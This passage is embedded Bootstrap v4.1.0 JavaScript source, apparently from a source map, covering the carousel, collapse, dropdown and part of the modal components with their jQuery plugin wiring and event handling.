Util.reflow(nextElement)\n\n        $(activeElement).addClass(directionalClassName)\n        $(nextElement).addClass(directionalClassName)\n\n        const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n        $(activeElement)\n          .one(Util.TRANSITION_END, () => {\n            $(nextElement)\n              .removeClass(`${directionalClassName} ${orderClassName}`)\n              .addClass(ClassName.ACTIVE)\n\n            $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n            this._isSliding = false\n\n            setTimeout(() => $(this._element).trigger(slidEvent), 0)\n          })\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        $(activeElement).removeClass(ClassName.ACTIVE)\n        $(nextElement).addClass(ClassName.ACTIVE)\n\n        this._isSliding = false\n        $(this._element).trigger(slidEvent)\n      }\n\n      if (isCycling) {\n        this.cycle()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        let _config = {\n          ...Default,\n          ...$(this).data()\n        }\n\n        if (typeof config === 'object') {\n          _config = {\n            ..._config,\n            ...config\n          }\n        }\n\n        const action = typeof config === 'string' ? config : _config.slide\n\n        if (!data) {\n          data = new Carousel(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'number') {\n          data.to(config)\n        } else if (typeof action === 'string') {\n          if (typeof data[action] === 'undefined') {\n            throw new TypeError(`No method named \"${action}\"`)\n          }\n          data[action]()\n        } else if (_config.interval) {\n          data.pause()\n          data.cycle()\n        }\n      })\n    }\n\n    static _dataApiClickHandler(event) {\n      const selector = Util.getSelectorFromElement(this)\n\n      if (!selector) {\n        return\n      }\n\n      const target = $(selector)[0]\n\n      if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n        return\n      }\n\n      const config = {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n      const slideIndex = this.getAttribute('data-slide-to')\n\n      if (slideIndex) {\n        config.interval = false\n      }\n\n      Carousel._jQueryInterface.call($(target), config)\n\n      if (slideIndex) {\n        $(target).data(DATA_KEY).to(slideIndex)\n      }\n\n      event.preventDefault()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    $(Selector.DATA_RIDE).each(function () {\n      const $carousel = $(this)\n      Carousel._jQueryInterface.call($carousel, $carousel.data())\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Carousel._jQueryInterface\n  $.fn[NAME].Constructor = Carousel\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Carousel._jQueryInterface\n  }\n\n  return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'collapse'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.collapse'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const DATA_API_KEY        = '.data-api'\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n\n  const Default = {\n    toggle : true,\n    parent : ''\n  }\n\n  const DefaultType = {\n    toggle : 'boolean',\n    parent : '(string|element)'\n  }\n\n  const Event = {\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SHOW       : 'show',\n    COLLAPSE   : 'collapse',\n    COLLAPSING : 'collapsing',\n    COLLAPSED  : 'collapsed'\n  }\n\n  const Dimension = {\n    WIDTH  : 'width',\n    HEIGHT : 'height'\n  }\n\n  const Selector = {\n    ACTIVES     : '.show, .collapsing',\n    DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Collapse {\n    constructor(element, config) {\n      this._isTransitioning = false\n      this._element         = element\n      this._config          = this._getConfig(config)\n      this._triggerArray    = $.makeArray($(\n        `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n        `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n      ))\n      const tabToggles = $(Selector.DATA_TOGGLE)\n      for (let i = 0; i < tabToggles.length; i++) {\n        const elem = tabToggles[i]\n        const selector = Util.getSelectorFromElement(elem)\n        if (selector !== null && $(selector).filter(element).length > 0) {\n          this._selector = selector\n          this._triggerArray.push(elem)\n        }\n      }\n\n      this._parent = this._config.parent ? this._getParent() : null\n\n      if (!this._config.parent) {\n        this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n      }\n\n      if (this._config.toggle) {\n        this.toggle()\n      }\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle() {\n      if ($(this._element).hasClass(ClassName.SHOW)) {\n        this.hide()\n      } else {\n        this.show()\n      }\n    }\n\n    show() {\n      if (this._isTransitioning ||\n        $(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      let actives\n      let activesData\n\n      if (this._parent) {\n        actives = $.makeArray(\n          $(this._parent)\n            .find(Selector.ACTIVES)\n            .filter(`[data-parent=\"${this._config.parent}\"]`)\n        )\n        if (actives.length === 0) {\n          actives = null\n        }\n      }\n\n      if (actives) {\n        activesData = $(actives).not(this._selector).data(DATA_KEY)\n        if (activesData && activesData._isTransitioning) {\n          return\n        }\n      }\n\n      const startEvent = $.Event(Event.SHOW)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (actives) {\n        Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n        if (!activesData) {\n          $(actives).data(DATA_KEY, null)\n        }\n      }\n\n      const dimension = this._getDimension()\n\n      $(this._element)\n        .removeClass(ClassName.COLLAPSE)\n        .addClass(ClassName.COLLAPSING)\n\n      this._element.style[dimension] = 0\n\n      if (this._triggerArray.length > 0) {\n        $(this._triggerArray)\n          .removeClass(ClassName.COLLAPSED)\n          .attr('aria-expanded', true)\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .addClass(ClassName.SHOW)\n\n        this._element.style[dimension] = ''\n\n        this.setTransitioning(false)\n\n        $(this._element).trigger(Event.SHOWN)\n      }\n\n      const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n      const scrollSize = `scroll${capitalizedDimension}`\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n\n      this._element.style[dimension] = `${this._element[scrollSize]}px`\n    }\n\n    hide() {\n      if (this._isTransitioning ||\n        !$(this._element).hasClass(ClassName.SHOW)) {\n        return\n      }\n\n      const startEvent = $.Event(Event.HIDE)\n      $(this._element).trigger(startEvent)\n      if (startEvent.isDefaultPrevented()) {\n        return\n      }\n\n      const dimension = this._getDimension()\n\n      this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n      Util.reflow(this._element)\n\n      $(this._element)\n        .addClass(ClassName.COLLAPSING)\n        .removeClass(ClassName.COLLAPSE)\n        .removeClass(ClassName.SHOW)\n\n      if (this._triggerArray.length > 0) {\n        for (let i = 0; i < this._triggerArray.length; i++) {\n          const trigger = this._triggerArray[i]\n          const selector = Util.getSelectorFromElement(trigger)\n          if (selector !== null) {\n            const $elem = $(selector)\n            if (!$elem.hasClass(ClassName.SHOW)) {\n              $(trigger).addClass(ClassName.COLLAPSED)\n                .attr('aria-expanded', false)\n            }\n          }\n        }\n      }\n\n      this.setTransitioning(true)\n\n      const complete = () => {\n        this.setTransitioning(false)\n        $(this._element)\n          .removeClass(ClassName.COLLAPSING)\n          .addClass(ClassName.COLLAPSE)\n          .trigger(Event.HIDDEN)\n      }\n\n      this._element.style[dimension] = ''\n      const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n      $(this._element)\n        .one(Util.TRANSITION_END, complete)\n        .emulateTransitionEnd(transitionDuration)\n    }\n\n    setTransitioning(isTransitioning) {\n      this._isTransitioning = isTransitioning\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      this._config          = null\n      this._parent          = null\n      this._element         = null\n      this._triggerArray    = null\n      this._isTransitioning = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      config.toggle = Boolean(config.toggle) // Coerce string values\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _getDimension() {\n      const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n      return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n    }\n\n    _getParent() {\n      let parent = null\n      if (Util.isElement(this._config.parent)) {\n        parent = this._config.parent\n\n        // It's a jQuery object\n        if (typeof this._config.parent.jquery !== 'undefined') {\n          parent = this._config.parent[0]\n        }\n      } else {\n        parent = $(this._config.parent)[0]\n      }\n\n      const selector =\n        `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n      $(parent).find(selector).each((i, element) => {\n        this._addAriaAndCollapsedClass(\n          Collapse._getTargetFromElement(element),\n          [element]\n        )\n      })\n\n      return parent\n    }\n\n    _addAriaAndCollapsedClass(element, triggerArray) {\n      if (element) {\n        const isOpen = $(element).hasClass(ClassName.SHOW)\n\n        if (triggerArray.length > 0) {\n          $(triggerArray)\n            .toggleClass(ClassName.COLLAPSED, !isOpen)\n            .attr('aria-expanded', isOpen)\n        }\n      }\n    }\n\n    // Static\n\n    static _getTargetFromElement(element) {\n      const selector = Util.getSelectorFromElement(element)\n      return selector ? $(selector)[0] : null\n    }\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this   = $(this)\n        let data      = $this.data(DATA_KEY)\n        const _config = {\n          ...Default,\n          ...$this.data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data && _config.toggle && /show|hide/.test(config)) {\n          _config.toggle = false\n        }\n\n        if (!data) {\n          data = new Collapse(this, _config)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n    if (event.currentTarget.tagName === 'A') {\n      event.preventDefault()\n    }\n\n    const $trigger = $(this)\n    const selector = Util.getSelectorFromElement(this)\n    $(selector).each(function () {\n      const $target = $(this)\n      const data    = $target.data(DATA_KEY)\n      const config  = data ? 'toggle' : $trigger.data()\n      Collapse._jQueryInterface.call($target, config)\n    })\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Collapse._jQueryInterface\n  $.fn[NAME].Constructor = Collapse\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Collapse._jQueryInterface\n  }\n\n  return Collapse\n})($)\n\nexport default Collapse\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                     = 'dropdown'\n  const VERSION                  = '4.1.0'\n  const DATA_KEY                 = 'bs.dropdown'\n  const EVENT_KEY                = `.${DATA_KEY}`\n  const DATA_API_KEY             = '.data-api'\n  const JQUERY_NO_CONFLICT       = $.fn[NAME]\n  const ESCAPE_KEYCODE           = 27 // KeyboardEvent.which value for Escape (Esc) key\n  const SPACE_KEYCODE            = 32 // KeyboardEvent.which value for space key\n  const TAB_KEYCODE              = 9 // KeyboardEvent.which value for tab key\n  const ARROW_UP_KEYCODE         = 38 // KeyboardEvent.which value for up arrow key\n  const ARROW_DOWN_KEYCODE       = 40 // KeyboardEvent.which value for down arrow key\n  const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n  const REGEXP_KEYDOWN           = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n  const Event = {\n    HIDE             : `hide${EVENT_KEY}`,\n    HIDDEN           : `hidden${EVENT_KEY}`,\n    SHOW             : `show${EVENT_KEY}`,\n    SHOWN            : `shown${EVENT_KEY}`,\n    CLICK            : `click${EVENT_KEY}`,\n    CLICK_DATA_API   : `click${EVENT_KEY}${DATA_API_KEY}`,\n    KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n    KEYUP_DATA_API   : `keyup${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DISABLED  : 'disabled',\n    SHOW      : 'show',\n    DROPUP    : 'dropup',\n    DROPRIGHT : 'dropright',\n    DROPLEFT  : 'dropleft',\n    MENURIGHT : 'dropdown-menu-right',\n    MENULEFT  : 'dropdown-menu-left',\n    POSITION_STATIC : 'position-static'\n  }\n\n  const Selector = {\n    DATA_TOGGLE   : '[data-toggle=\"dropdown\"]',\n    FORM_CHILD    : '.dropdown form',\n    MENU          : '.dropdown-menu',\n    NAVBAR_NAV    : '.navbar-nav',\n    VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n  }\n\n  const AttachmentMap = {\n    TOP       : 'top-start',\n    TOPEND    : 'top-end',\n    BOTTOM    : 'bottom-start',\n    BOTTOMEND : 'bottom-end',\n    RIGHT     : 'right-start',\n    RIGHTEND  : 'right-end',\n    LEFT      : 'left-start',\n    LEFTEND   : 'left-end'\n  }\n\n  const Default = {\n    offset      : 0,\n    flip        : true,\n    boundary    : 'scrollParent',\n    reference   : 'toggle',\n    display     : 'dynamic'\n  }\n\n  const DefaultType = {\n    offset      : '(number|string|function)',\n    flip        : 'boolean',\n    boundary    : '(string|element)',\n    reference   : '(string|element)',\n    display     : 'string'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Dropdown {\n    constructor(element, config) {\n      this._element  = element\n      this._popper   = null\n      this._config   = this._getConfig(config)\n      this._menu     = this._getMenuElement()\n      this._inNavbar = this._detectNavbar()\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    toggle() {\n      if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this._element)\n      const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n      Dropdown._clearMenus()\n\n      if (isActive) {\n        return\n      }\n\n      const relatedTarget = {\n        relatedTarget: this._element\n      }\n      const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n      $(parent).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      // Disable totally Popper.js for Dropdown in Navbar\n      if (!this._inNavbar) {\n        /**\n         * Check for Popper dependency\n         * Popper - https://popper.js.org\n         */\n        if (typeof Popper === 'undefined') {\n          throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n        }\n\n        let referenceElement = this._element\n\n        if (this._config.reference === 'parent') {\n          referenceElement = parent\n        } else if (Util.isElement(this._config.reference)) {\n          referenceElement = this._config.reference\n\n          // Check if it's jQuery element\n          if (typeof this._config.reference.jquery !== 'undefined') {\n            referenceElement = this._config.reference[0]\n          }\n        }\n\n        // If boundary is not `scrollParent`, then set position to `static`\n        // to allow the menu to \"escape\" the scroll parent's boundaries\n        // https://github.com/twbs/bootstrap/issues/24251\n        if (this._config.boundary !== 'scrollParent') {\n          $(parent).addClass(ClassName.POSITION_STATIC)\n        }\n        this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n      }\n\n      // If this is a touch-enabled device we add extra\n      // empty mouseover listeners to the body's immediate children;\n      // only needed because of broken event delegation on iOS\n      // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n      if ('ontouchstart' in document.documentElement &&\n         $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n        $(document.body).children().on('mouseover', null, $.noop)\n      }\n\n      this._element.focus()\n      this._element.setAttribute('aria-expanded', true)\n\n      $(this._menu).toggleClass(ClassName.SHOW)\n      $(parent)\n        .toggleClass(ClassName.SHOW)\n        .trigger($.Event(Event.SHOWN, relatedTarget))\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._element).off(EVENT_KEY)\n      this._element = null\n      this._menu = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n        this._popper = null\n      }\n    }\n\n    update() {\n      this._inNavbar = this._detectNavbar()\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Private\n\n    _addEventListeners() {\n      $(this._element).on(Event.CLICK, (event) => {\n        event.preventDefault()\n        event.stopPropagation()\n        this.toggle()\n      })\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this._element).data(),\n        ...config\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getMenuElement() {\n      if (!this._menu) {\n        const parent = Dropdown._getParentFromElement(this._element)\n        this._menu = $(parent).find(Selector.MENU)[0]\n      }\n      return this._menu\n    }\n\n    _getPlacement() {\n      const $parentDropdown = $(this._element).parent()\n      let placement = AttachmentMap.BOTTOM\n\n      // Handle dropup\n      if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n        placement = AttachmentMap.TOP\n        if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n          placement = AttachmentMap.TOPEND\n        }\n      } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n        placement = AttachmentMap.RIGHT\n      } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n        placement = AttachmentMap.LEFT\n      } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n        placement = AttachmentMap.BOTTOMEND\n      }\n      return placement\n    }\n\n    _detectNavbar() {\n      return $(this._element).closest('.navbar').length > 0\n    }\n\n    _getPopperConfig() {\n      const offsetConf = {}\n      if (typeof this._config.offset === 'function') {\n        offsetConf.fn = (data) => {\n          data.offsets = {\n            ...data.offsets,\n            ...this._config.offset(data.offsets) || {}\n          }\n          return data\n        }\n      } else {\n        offsetConf.offset = this._config.offset\n      }\n      const popperConfig = {\n        placement: this._getPlacement(),\n        modifiers: {\n          offset: offsetConf,\n          flip: {\n            enabled: this._config.flip\n          },\n          preventOverflow: {\n            boundariesElement: this._config.boundary\n          }\n        }\n      }\n\n      // Disable Popper.js if we have a static display\n      if (this._config.display === 'static') {\n        popperConfig.modifiers.applyStyle = {\n          enabled: false\n        }\n      }\n      return popperConfig\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data) {\n          data = new Dropdown(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n\n    static _clearMenus(event) {\n      if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n        event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n        return\n      }\n\n      const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n      for (let i = 0; i < toggles.length; i++) {\n        const parent = Dropdown._getParentFromElement(toggles[i])\n        const context = $(toggles[i]).data(DATA_KEY)\n        const relatedTarget = {\n          relatedTarget: toggles[i]\n        }\n\n        if (!context) {\n          continue\n        }\n\n        const dropdownMenu = context._menu\n        if (!$(parent).hasClass(ClassName.SHOW)) {\n          continue\n        }\n\n        if (event && (event.type === 'click' &&\n            /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n            $.contains(parent, event.target)) {\n          continue\n        }\n\n        const hideEvent = $.Event(Event.HIDE, relatedTarget)\n        $(parent).trigger(hideEvent)\n        if (hideEvent.isDefaultPrevented()) {\n          continue\n        }\n\n        // If this is a touch-enabled device we remove the extra\n        // empty mouseover listeners we added for iOS support\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().off('mouseover', null, $.noop)\n        }\n\n        toggles[i].setAttribute('aria-expanded', 'false')\n\n        $(dropdownMenu).removeClass(ClassName.SHOW)\n        $(parent)\n          .removeClass(ClassName.SHOW)\n          .trigger($.Event(Event.HIDDEN, relatedTarget))\n      }\n    }\n\n    static _getParentFromElement(element) {\n      let parent\n      const selector = Util.getSelectorFromElement(element)\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      return parent || element.parentNode\n    }\n\n    // eslint-disable-next-line complexity\n    static _dataApiKeydownHandler(event) {\n      // If not input/textarea:\n      //  - And not a key in REGEXP_KEYDOWN => not a dropdown command\n      // If input/textarea:\n      //  - If space key => not a dropdown command\n      //  - If key is other than escape\n      //    - If key is not up or down => not a dropdown command\n      //    - If trigger inside the menu => not a dropdown command\n      if (/input|textarea/i.test(event.target.tagName)\n        ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n        (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n          $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n        return\n      }\n\n      event.preventDefault()\n      event.stopPropagation()\n\n      if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this)\n      const isActive = $(parent).hasClass(ClassName.SHOW)\n\n      if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n           isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n        if (event.which === ESCAPE_KEYCODE) {\n          const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n          $(toggle).trigger('focus')\n        }\n\n        $(this).trigger('click')\n        return\n      }\n\n      const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n      if (items.length === 0) {\n        return\n      }\n\n      let index = items.indexOf(event.target)\n\n      if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n        index--\n      }\n\n      if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n        index++\n      }\n\n      if (index < 0) {\n        index = 0\n      }\n\n      items[index].focus()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n    .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n    .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      event.stopPropagation()\n      Dropdown._jQueryInterface.call($(this), 'toggle')\n    })\n    .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n      e.stopPropagation()\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Dropdown._jQueryInterface\n  $.fn[NAME].Constructor = Dropdown\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Dropdown._jQueryInterface\n  }\n\n  return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'modal'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.modal'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const ESCAPE_KEYCODE     = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n  const Default = {\n    backdrop : true,\n    keyboard : true,\n    focus    : true,\n    show     : true\n  }\n\n  const DefaultType = {\n    backdrop : '(boolean|string)',\n    keyboard : 'boolean',\n    focus    : 'boolean',\n    show     : 'boolean'\n  }\n\n  const Event = {\n    HIDE              : `hide${EVENT_KEY}`,\n    HIDDEN            : `hidden${EVENT_KEY}`,\n    SHOW              : `show${EVENT_KEY}`,\n    SHOWN             : `shown${EVENT_KEY}`,\n    FOCUSIN           : `focusin${EVENT_KEY}`,\n    RESIZE            : `resize${EVENT_KEY}`,\n    CLICK_DISMISS     : `click.dismiss${EVENT_KEY}`,\n    KEYDOWN_DISMISS   : `keydown.dismiss${EVENT_KEY}`,\n    MOUSEUP_DISMISS   : `mouseup.dismiss${EVENT_KEY}`,\n    MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n    CLICK_DATA_API    : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n    BACKDROP           : 'modal-backdrop',\n    OPEN               : 'modal-open',\n    FADE               : 'fade',\n    SHOW               : 'show'\n  }\n\n  const Selector = {\n    DIALOG             : '.modal-dialog',\n    DATA_TOGGLE        : '[data-toggle=\"modal\"]',\n    DATA_DISMISS       : '[data-dismiss=\"modal\"]',\n    FIXED_CONTENT      : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n    STICKY_CONTENT     : '.sticky-top',\n    NAVBAR_TOGGLER     : '.navbar-toggler'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Modal {\n    constructor(element, config) {\n      this._config              = this._getConfig(config)\n      this._element             = element\n      this._dialog              = $(element).find(Selector.DIALOG)[0]\n      this._backdrop            = null\n      this._isShown             = false\n      this._isBodyOverflowing   = false\n      this._ignoreBackdropClick = false\n      this._scrollbarWidth      = 0\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle(relatedTarget) {\n      return this._isShown ? this.hide() : this.show(relatedTarget)\n    }\n\n    show(relatedTarget) {\n      if (this._isTransitioning || this._isShown) {\n        return\n      }\n\n      if ($(this._element).hasClass(ClassName.FADE)) {\n        this._isTransitioning = true\n      }\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget\n      })\n\n      $(this._element).trigger(showEvent)\n\n      if (this._isShown || showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = true\n\n      this._checkScrollbar()\n      this._setScrollbar()\n\n      this._adjustDialog()\n\n      $(document.body).addClass(ClassName.OPEN)\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(this._element).on(\n        Event.CLICK_DISMISS,\n        Selector.DATA_DISMISS,\n        (event) => this.hide(event)\n      )\n\n      $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n        $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n          if ($(event.target).is(this._element)) {\n            this._ignoreBackdropClick = true\n          }\n        })\n      })\n\n      this._showBackdrop(() => this._showElement(relatedTarget))\n    }\n\n    hide(event) {\n      if (event) {\n        event.preventDefault()\n      }\n\n      if (this._isTransitioning || !this._isShown) {\n        return\n      }\n\n      const hideEvent = $.Event(Event.HIDE)\n\n      $(this._element).trigger(hideEvent)\n\n      if (!this._isShown || hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = false\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (transition) {\n        this._isTransitioning = true\n      }\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(document).off(Event.FOCUSIN)\n\n      $(this._element).removeClass(ClassName.SHOW)\n\n      $(this._element).off(Event.CLICK_DISMISS)\n      $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._element)\n          